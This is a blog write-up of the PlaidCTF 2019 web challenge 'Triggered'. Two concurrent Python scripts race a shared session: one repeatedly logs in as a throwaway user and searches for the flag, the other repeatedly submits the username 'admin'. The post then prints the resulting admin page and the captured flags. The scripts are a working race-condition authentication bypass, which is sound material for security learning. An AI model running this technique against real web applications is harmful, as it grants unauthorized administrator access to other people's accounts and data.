Monday, 15 April 2019

PlaidCTF 2019 - Triggered (Web)

I was not able to solve this problem on the contest time. Someone posted hint on Twitter Link#, I solved as per his poster, but he did not post with detail information. Therefore, I wrote code and found a fla as per below:

Problem Description

Triggered - Web (280 pts)

I stared into the abyss of microservices, and it stared back. I found something utterly terrifying about the chaos of connections.

"Screw this," I finally declared, "why have multiple services when the database can do everything just fine on its own?"

And so on that glorious day it came to be that everything ran in plpgsql.

 Write up

Below codes should run at same time due to race condition exploit.

First Code:
1:  import requests  
2:    
3:  def request_post(url, cookies, data):  
4:    r = requests.post(url, cookies=cookies, data=data)  
5:    if r.url == "http://triggered.pwni.ng:52856/search":  
6:      if "Hey there, admin" in r.text:  
7:        print r.text  
8:        print "[-] Result: Found out!"  
9:        exit()  
10:    return r  
11:    
12:  def signin():  
13:    #signin  
14:    data = {'username':'searchtheflag'}  
15:    url = "http://triggered.pwni.ng:52856/login"  
16:    request_post(url, cookies, data)  
17:    data = {'password':'test'}  
18:    url = "http://triggered.pwni.ng:52856/login/password"  
19:    request_post(url, cookies, data)  
20:    print "[-] Sign-in: Okay"  
21:    
22:  if __name__ == "__main__":  
23:    cookies = {  
24:    'session': "5f129555-dafb-4feb-b1c6-472d260a8d3b"  
25:    }  
26:    signin()  
27:    while True:  
28:      #searchflag  
29:      data = {'query':'flag'}  
30:      url = "http://triggered.pwni.ng:52856/search"  
31:      r = request_post(url, cookies, data)  
32:      print "[-] Search: in progress"  
33:      if (r.url == "http://triggered.pwni.ng:52856/login"):  
34:        signin()  
35:          

Second Code:
1:  import requests, time  
2:    
3:  def request_post(url, cookies, data):  
4:    r = requests.post(url, cookies=cookies, data=data)  
5:    return r  
6:    
7:  def signin_admin(cookies):  
8:    data = {'username':'admin'}  
9:    url = 'http://triggered.pwni.ng:52856/login'  
10:    request_post(url, cookies, data)  
11:    
12:  if __name__ == "__main__":  
13:    cookies = {  
14:      'session': "5f129555-dafb-4feb-b1c6-472d260a8d3b"  #your session
15:    }  
16:    while True:  
17:      signin_admin(cookies)  
18: 

Result & Flag:


1:  [-] Sign-in: Okay  
2:  [-] Search: in progress  
3:  [-] Search: in progress  
4:  [-] Search: in progress  
5:  [-] Search: in progress  
6:  [-] Search: in progress  
7:  [-] Search: in progress  
8:  [-] Search: in progress  
9:  [-] Search: in progress  
10:  [-] Search: in progress  
11:  [-] Search: in progress  
12:  [-] Search: in progress  
13:  [-] Sign-in: Okay  
14:  [-] Search: in progress  
15:  [-] Sign-in: Okay  
16:  [-] Search: in progress  
17:  [-] Sign-in: Okay  
18:  [-] Search: in progress  
19:  [-] Sign-in: Okay  
20:  [-] Search: in progress  
21:  [-] Sign-in: Okay  
22:  [-] Search: in progress  
23:  [-] Sign-in: Okay  
24:  [-] Search: in progress  
25:  [-] Sign-in: Okay  
26:  [-] Search: in progress  
27:  [-] Sign-in: Okay  
28:  [-] Search: in progress  
29:  [-] Sign-in: Okay  
30:  [-] Search: in progress  
31:  [-] Sign-in: Okay  
32:  [-] Search: in progress  
33:  [-] Sign-in: Okay  
34:  [-] Search: in progress  
35:  [-] Sign-in: Okay  
36:  [-] Search: in progress  
37:  [-] Sign-in: Okay  
38:  [-] Search: in progress  
39:  [-] Sign-in: Okay  
40:  [-] Search: in progress  
41:  [-] Sign-in: Okay  
42:  [-] Search: in progress  
43:  [-] Sign-in: Okay  
44:  [-] Search: in progress  
45:  [-] Sign-in: Okay  
46:  [-] Search: in progress  
47:  [-] Sign-in: Okay  
48:  [-] Search: in progress  
49:  [-] Sign-in: Okay  
50:  [-] Search: in progress  
51:  [-] Sign-in: Okay  
52:  [-] Search: in progress  
53:  [-] Sign-in: Okay  
54:  <html>  
55:  <head>  
56:      <link rel="stylesheet" href="/static/styles.css" />  
57:      <link href="https://fonts.googleapis.com/css?family=Playfair+Display:400,400i,700,700i,900,900i" rel="stylesheet">  
58:  </head>  
59:  <body>  
60:      <header>  
61:          <a href="/" class="left">  
62:              <h1>pgNotes</h1>  
63:              <h2>Let's keep it PG, ok?</h2>  
64:          </a>  
65:          <div class="right">  
66:    
67:                  <nav>  
68:                      <div class="welcome">Hey there, admin</div>  
69:                      &middot;  
70:                      <a href="/search">Search notes</a>  
71:                      &middot;  
72:                      <a href="/note/new">New note</a>  
73:                      &middot;  
74:                      <a href="/logout">Logout</a>  
75:                  </nav>  
76:    
77:          </div>  
78:      </header>  
79:      <main>  
80:  <section class="search-input">  
81:      <h3>Search</h3>  
82:      <form method="POST" action="/search">  
83:          <div class="input">  
84:              <label>Query</label>  
85:              <input type="text" name="query" />  
86:          </div>  
87:          <div class="input submit">  
88:              <input type="submit" />  
89:          </div>  
90:      </form>  
91:  </section>  
92:    
93:      <section class="search-query">  
94:          Results for <span class="query">flag</span>  
95:      </section>  
96:    
97:    
98:              <section class="note">  
99:      <section class="header">  
100:          <h4>Flag</h4>  
101:          <div class="author">admin</div>  
102:          <div class="date">02:44pm on April   13, 2019</div>  
103:      </section>  
104:      <section class="content">  
105:          <p>  
106:              PCTF{i_rAt3_p0sTgRE5_1O_oUT_0f_14_pH_n3ed5_m0Re_4Cid}  
107:          </p>  
108:      </section>  
109:  </section>  
110:    
111:              <section class="note">  
112:      <section class="header">  
113:          <h4>flag</h4>  
114:          <div class="author">admin</div>  
115:          <div class="date">08:11am on April   14, 2019</div>  
116:      </section>  
117:      <section class="content">  
118:          <p>  
119:              PCTF{cr4zy_70_m4k3_w3b_4ppl1c4710n_w17h_plp65ql}  
120:          </p>  
121:      </section>  
122:  </section>  
123:    
124:              <section class="note">  
125:      <section class="header">  
126:          <h4>flag</h4>  
127:          <div class="author">admin</div>  
128:          <div class="date">04:51pm on April   14, 2019</div>  
129:      </section>  
130:      <section class="content">  
131:          <p>  
132:              PCTF{PsQl_w3bs3rv3rf0rh1pst3r_l0l}  
133:          </p>  
134:      </section>  
135:  </section>  
136:    
137:              <section class="note">  
138:      <section class="header">  
139:          <h4>Flag</h4>  
140:          <div class="author">admin</div>  
141:          <div class="date">06:55pm on April   14, 2019</div>  
142:      </section>  
143:      <section class="content">  
144:          <p>  
145:              PCTF{pGn0Te2_Lets_k22P_1t_PG_oK}  
146:          </p>  
147:      </section>  
148:  </section>  
149:    
150:    
151:    
152:      </main>  
153:  </body>  
154:  </html>  
155:  [-] Result: Found out!  

Thanks @gP4yload

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